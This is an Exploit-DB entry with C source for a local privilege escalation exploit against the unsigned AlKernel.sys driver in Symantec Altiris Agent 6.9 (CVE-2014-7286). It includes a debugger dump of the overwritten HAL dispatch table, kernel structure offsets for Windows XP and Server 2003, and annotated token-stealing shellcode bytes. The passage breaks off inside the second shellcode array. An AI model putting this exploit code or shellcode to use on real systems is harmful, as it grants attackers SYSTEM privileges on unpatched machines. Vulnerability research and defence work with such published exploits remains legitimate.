Exploit-DB #35964
Description: Symantec Altiris Agent 6.9 (Build 648) - Local Privilege Escalation
Type: local
Platform: windows
Date: 2015-02-01
Author: Parvez Anwar

Exploit:
/*

Exploit Title    - Symantec Altiris Agent Arbitrary Write Privilege Escalation
Date             - 01st February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.symantec.com
Tested Version   - 6.9 (Build 648)
Driver Version   - No version set - AlKernel.sys
Tested on OS     - 32bit Windows XP SP3 and Windows Server 2003 SP2 
OSVDB            - http://www.osvdb.org/show/osvdb/116082
CVE ID           - CVE-2014-7286
Vendor fix url   - http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141219_00
Fixed version    - To remove driver
Fixed driver ver - n/a



Note
----
Overwritten HAL dispatch table after exploit 

kd> dps nt!HalDispatchTable l c
8054ccb8  00000003
8054ccbc  746f6353
8054ccc0  6f725774
8054ccc4  68546574
8054ccc8  00217369
8054cccc  8050ac4d nt!HalExamineMBR
8054ccd0  805c6f89 nt!IoAssignDriveLetters
8054ccd4  805c4ae5 nt!IoReadPartitionTable
8054ccd8  80613f7b nt!IoSetPartitionInformation
8054ccdc  806141ef nt!IoWritePartitionTable
8054cce0  8052d157 nt!CcHasInactiveViews
8054cce4  804e42d1 nt!ObpTraceDepth+0x19


4 pointers are overwritten with the hardcoded string "ScottWroteThis!" set in the driver.

The driver looks like has one main task is to retrieve configuration information about 
the hardware using the HalGetBusData function.  If it cannot retrieve configuration 
information it sends the "ScottWroteThis!" string to the output buffer.

Also to point out the driver is not signed, no file version set, no product version set,
no product name set.

Question about the string ""ScottWroteThis!" was posted online in 2006

http://mygreenpaste.blogspot.co.uk/2006/06/beam-me-up-scotty.html

*/


#include <stdio.h>
#include <windows.h>

#define INBUFSIZE 16
#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct

// Windows Server 2003

#define W2K3_KPROCESS 0x38      // Offset to _KPROCESS from a _ETHREAD struct
#define W2K3_TOKEN    0xd8      // Offset to TOKEN from the _EPROCESS struct
#define W2K3_UPID     0x94      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W2K3_APLINKS  0x98      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel                           
};


BYTE token_steal_w2k3[] =
{
  0x52,                                                  // push edx                         Save edx on the stack
  0x53,                                                  // push ebx                         Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                     eax = 0